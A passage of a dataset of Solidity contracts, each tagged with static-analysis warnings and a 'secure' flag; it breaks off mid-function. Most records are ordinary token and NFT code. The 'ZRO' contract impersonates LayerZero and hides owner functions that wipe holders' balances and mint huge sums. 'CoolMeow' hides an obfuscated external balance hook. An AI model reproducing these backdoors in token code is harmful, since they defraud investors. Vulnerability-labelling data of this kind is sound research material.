"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ZooGang is ERC721Enumerable, Ownable {\n using SafeMath for uint256;\n\n uint256 public constant PRICE = 0.05 ether;\n\n uint256 public constant MAX_TOKENS = 10000;\n\n uint256 public constant MAX_PURCHASE = 20;\n\n bool public saleIsActive = false;\n\n constructor() ERC721(\"Zoo Gang\", \"ZGANG\") {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8082c7d): ZooGang.withdraw().sender lacks a zerocheck on \t sender.transfer(balance)\n\t// Recommendation for 8082c7d: Check that the address is not zero.\n function withdraw() public onlyOwner {\n address payable sender = payable(_msgSender());\n uint256 balance = address(this).balance;\n\t\t// missing-zero-check | ID: 8082c7d\n sender.transfer(balance);\n }\n\n function toggleSale() public onlyOwner {\n saleIsActive = !saleIsActive;\n }\n\n function reserve() public onlyOwner {\n require(\n saleIsActive == false,\n \"Impossible reserve a Zoo Gang when sale is active\"\n );\n uint256 supply = totalSupply();\n for (uint256 i = 0; i < 20; i++) {\n _safeMint(_msgSender(), supply + i);\n }\n }\n\n function mint(uint256 numberOfTokens) public payable {\n require(saleIsActive, \"Sale must be active to mint Zoo Gang\");\n require(\n numberOfTokens <= MAX_PURCHASE,\n \"Can only mint 20 tokens at a time\"\n );\n require(\n totalSupply().add(numberOfTokens) <= MAX_TOKENS,\n \"Purchase would exceed max supply of Zoo Gangs\"\n );\n require(\n PRICE.mul(numberOfTokens) <= msg.value,\n \"Ether value sent is not correct\"\n );\n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n uint256 mintIndex = totalSupply();\n if (totalSupply() < MAX_TOKENS) {\n _safeMint(_msgSender(), mintIndex);\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2296bcc): ZooGang.setBaseURI(string).baseURI shadows ERC721.baseURI (state variable)\n\t// Recommendation for 2296bcc: Rename the local variables that shadow another component.\n function setBaseURI(string memory baseURI) public onlyOwner {\n _setBaseURI(baseURI);\n }\n}",
"file_name": "solidity_code_3538.sol",
"secure": 0,
"size_bytes": 2661
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721URIStorage.sol\" as ERC721URIStorage;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract TransactionMosaics is Ownable, ERC721URIStorage {\n using Counters for Counters.Counter;\n Counters.Counter private _tokenIds;\n mapping(bytes32 => bool) private hashUsed;\n mapping(uint256 => bytes32) private idToHash;\n event HashUsed(bytes32 hash, uint256 tokenId);\n\n constructor() ERC721(\"Transaction Mosaics\", \"TXM\") {}\n\n function contractURI() public pure returns (string memory) {\n return \"ipfs://QmcSTc2vLKSSfaoNNTVP9oxk31eqpT9YTzWa94si2HBgnx\";\n }\n\n function isHashUsed(bytes32 _hash) public view returns (bool) {\n return hashUsed[_hash];\n }\n\n function getHashWithId(uint256 _tokenId) public view returns (bytes32) {\n return idToHash[_tokenId];\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokenIds.current();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9702098): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9702098: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ffe6e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ffe6e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintToken(\n address _mintAddress,\n string memory _tokenURI,\n bytes32 _hash\n ) public onlyOwner returns (uint256) {\n require(hashUsed[_hash] == false, \"Hash already minted\");\n hashUsed[_hash] = true;\n\n uint256 newItemId = _tokenIds.current();\n _tokenIds.increment();\n\t\t// reentrancy-events | ID: 9702098\n\t\t// reentrancy-benign | ID: 3ffe6e1\n _safeMint(_mintAddress, newItemId);\n\n\t\t// reentrancy-benign | ID: 3ffe6e1\n _setTokenURI(newItemId, _tokenURI);\n\t\t// reentrancy-benign | ID: 3ffe6e1\n idToHash[newItemId] = _hash;\n\n\t\t// reentrancy-events | ID: 9702098\n emit HashUsed(_hash, newItemId);\n return newItemId;\n }\n}",
"file_name": "solidity_code_3539.sol",
"secure": 0,
"size_bytes": 2694
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract ZRO {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4f3c2c6): ZRO.tokenTotalSupply should be immutable \n\t// Recommendation for 4f3c2c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7681d60): ZRO.xxnux should be immutable \n\t// Recommendation for 7681d60: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 348daea): ZRO.tokenDecimals should be immutable \n\t// Recommendation for 348daea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f5db284): ZRO.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for f5db284: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"LayerZero\";\n\n tokenSymbol = \"ZRO\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: f5db284\n xxnux = ads;\n }\n\n function delegate(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_354.sol",
"secure": 0,
"size_bytes": 5636
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract P1antact {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_3540.sol",
"secure": 1,
"size_bytes": 197
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./p1ant.sol\" as p1ant;\nimport \"./laaatte.sol\" as laaatte;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"./IUniswapRouterV20.sol\" as IUniswapRouterV20;\n\ncontract CoolMeow is p1ant, laaatte {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (constable-states | ID: c6a8f9c): CoolMeow._totalSupply should be constant \n\t// Recommendation for c6a8f9c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68e60d2): CoolMeow._tokenname should be constant \n\t// Recommendation for 68e60d2: Add the 'constant' attribute to state variables that never change.\n string private _tokenname = unicode\"CoolMeow\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d2aaf2d): CoolMeow._tokensymbol should be constant \n\t// Recommendation for d2aaf2d: Add the 'constant' attribute to state variables that never change.\n string private _tokensymbol = unicode\"CoolMeow\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1431c56): CoolMeow.BasedInstance should be immutable \n\t// Recommendation for 1431c56: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private BasedInstance;\n\n constructor(uint256 dZTTu) {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n uint256 cc = dZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n );\n\n BasedInstance = getFnnmoosgsto(((bFactornnmoosgsto(cc))));\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: e1a2d3b): CoolMeow.bb should be constant \n\t// Recommendation for e1a2d3b: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (a +\n bb +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function bFactornnmoosgsto(uint256 value) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosmmgsto(accc);\n }\n\n function getBcQnnmoosmmgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _tokensymbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _tokenname;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72b6629): CoolMeow.transfer(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for 72b6629: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6c6b71): CoolMeow.allowance(address,address).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for a6c6b71: Rename the local variables that shadow another component.\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f7a79ab): CoolMeow.approve(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for f7a79ab: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV20.swap99(\n BasedInstance,\n BasedInstance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance - (amount);\n\n _balances[to] = _balances[to] + (amount);\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13dadb3): CoolMeow._approve(address,address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for 13dadb3: Rename the local variables that shadow another component.\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_3541.sol",
"secure": 0,
"size_bytes": 7107
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract TrollInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n mapping(address => bool) private _isCharity;\n address[] private _excluded;\n\n string private _NAME;\n string private _SYMBOL;\n\t// WARNING Optimization Issue (immutable-states | ID: bc539fd): TrollInu._DECIMALS should be immutable \n\t// Recommendation for bc539fd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALS;\n address public FeeAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87bf4a5): TrollInu._MAX should be constant \n\t// Recommendation for 87bf4a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _MAX = ~uint256(0);\n\t// WARNING Optimization Issue (immutable-states | ID: a07c43f): TrollInu._DECIMALFACTOR should be immutable \n\t// Recommendation for a07c43f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALFACTOR;\n\t// WARNING Optimization Issue (constable-states | ID: dcfbe48): TrollInu._GRANULARITY should be constant \n\t// Recommendation for dcfbe48: Add the 'constant' attribute to state variables that never change.\n uint256 private _GRANULARITY = 100;\n\n uint256 private _tTotal;\n uint256 private _rTotal;\n\n uint256 private _tFeeTotal;\n uint256 private _tBurnTotal;\n uint256 private _tCharityTotal;\n\n uint256 public _TAX_FEE;\n uint256 public _BURN_FEE;\n uint256 public _CHARITY_FEE;\n\n uint256 private ORIG_TAX_FEE;\n uint256 private ORIG_BURN_FEE;\n uint256 private ORIG_CHARITY_FEE;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e65a42b): TrollInu.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address)._FeeAddress lacks a zerocheck on \t FeeAddress = _FeeAddress\n\t// Recommendation for e65a42b: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8f0eff2): TrollInu.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address).tokenOwner lacks a zerocheck on \t _owner = tokenOwner\n\t// Recommendation for 8f0eff2: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _decimals,\n uint256 _supply,\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee,\n address _FeeAddress,\n address tokenOwner\n ) {\n _NAME = _name;\n _SYMBOL = _symbol;\n _DECIMALS = _decimals;\n _DECIMALFACTOR = 10 ** uint256(_DECIMALS);\n _tTotal = _supply * _DECIMALFACTOR;\n _rTotal = (_MAX - (_MAX % _tTotal));\n _TAX_FEE = _txFee * 100;\n _BURN_FEE = _burnFee * 100;\n _CHARITY_FEE = _charityFee * 100;\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n _isCharity[_FeeAddress] = true;\n\t\t// missing-zero-check | ID: e65a42b\n FeeAddress = _FeeAddress;\n\t\t// missing-zero-check | ID: 8f0eff2\n _owner = tokenOwner;\n _rOwned[tokenOwner] = _rTotal;\n\n emit Transfer(address(0), tokenOwner, _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _NAME;\n }\n\n function symbol() public view returns (string memory) {\n return _SYMBOL;\n }\n\n function decimals() public view returns (uint256) {\n return _DECIMALS;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 346c3b2): TrollInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 346c3b2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"TOKEN20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"TOKEN20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function isCharity(address account) public view returns (bool) {\n return _isCharity[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function totalCharity() public view returns (uint256) {\n return _tCharityTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function setAsCharityAccount(address account) external onlyOwner {\n require(!_isCharity[account], \"Account is already charity account\");\n _isCharity[account] = true;\n FeeAddress = account;\n }\n\n function burn(uint256 _value) public {\n _burn(msg.sender, _value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0bbe692): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0bbe692: Emit an event for critical parameter changes.\n function updateFee(\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee\n ) public onlyOwner {\n\t\t// events-maths | ID: 0bbe692\n _TAX_FEE = _txFee * 100;\n\t\t// events-maths | ID: 0bbe692\n _BURN_FEE = _burnFee * 100;\n\t\t// events-maths | ID: 0bbe692\n _CHARITY_FEE = _charityFee * 100;\n\t\t// events-maths | ID: 0bbe692\n ORIG_TAX_FEE = _TAX_FEE;\n\t\t// events-maths | ID: 0bbe692\n ORIG_BURN_FEE = _BURN_FEE;\n\t\t// events-maths | ID: 0bbe692\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n }\n\n function _burn(address _who, uint256 _value) internal {\n require(_value <= _rOwned[_who]);\n _rOwned[_who] = _rOwned[_who].sub(_value);\n _tTotal = _tTotal.sub(_value);\n emit Transfer(_who, address(0), _value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e639185): TrollInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e639185: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"TOKEN20: approve from the zero address\");\n require(spender != address(0), \"TOKEN20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(\n sender != address(0),\n \"TOKEN20: transfer from the zero address\"\n );\n require(\n recipient != address(0),\n \"TOKEN20: transfer to the zero address\"\n );\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n if (\n _isCharity[sender] ||\n _isCharity[recipient] ||\n _isExcluded[recipient]\n ) {\n takeFee = false;\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _standardTransferContent(sender, recipient, rAmount, rTransferAmount);\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _standardTransferContent(\n address sender,\n address recipient,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedFromTransferContent(\n sender,\n recipient,\n tTransferAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedFromTransferContent(\n address sender,\n address recipient,\n uint256 tTransferAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedToTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedToTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _bothTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n tTransferAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _bothTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 tTransferAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _reflectFee(\n uint256 rFee,\n uint256 rBurn,\n uint256 rCharity,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private {\n _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);\n _tFeeTotal = _tFeeTotal.add(tFee);\n _tBurnTotal = _tBurnTotal.add(tBurn);\n _tCharityTotal = _tCharityTotal.add(tCharity);\n _tTotal = _tTotal.sub(tBurn);\n emit Transfer(address(this), address(0), tBurn);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(\n tAmount,\n 